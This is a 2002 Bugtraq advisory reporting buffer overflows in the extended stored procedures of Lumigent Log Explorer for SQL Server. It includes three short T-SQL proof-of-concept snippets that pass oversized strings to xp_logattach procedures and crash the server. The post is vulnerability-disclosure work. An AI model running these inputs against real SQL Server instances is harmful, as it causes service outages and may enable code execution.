Home page logo
/

bugtraq logo Bugtraq mailing list archives

Lumigent Log Explorer 3.xx extended stored procedures buffer overflow
From: martin rakhmanoff <jimmers () yandex ru>
Date: 14 Jun 2002 13:05:15 -0000



Lumigent Log Explorer is a transaction log explorer for Microsoft SQL 
Server 7/2000. It ships with extended stored procedures implemented in 
xp_logattach.dll. Some of them suffer from buffer overflows that lead to 
SQL Server service crash and potentially to arbitrary code execution. 
Below is sample code that crashes SQL Server:

declare @bo varchar(8000) 
set @bo = replicate('A', 800) 
exec xp_logattach_StartProf @bo 

declare @bo varchar(8000) 
set @bo = replicate('A',800) 
exec xp_logattach_setport @bo 

declare @bo varchar(8000) 
set @bo = replicate('A',800) 
exec xp_logattach @bo 

Procedures can be run only by dbo (master) by default. Vendor was informed 
but I got no response confirming this problem and no fixes.

Cheers

Martin Rakhmanoff (jimmers)
jimmers () yandex ru


  By Date           By Thread  

Current thread:
  • Lumigent Log Explorer 3.xx extended stored procedures buffer overflow martin rakhmanoff (Jun 14)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]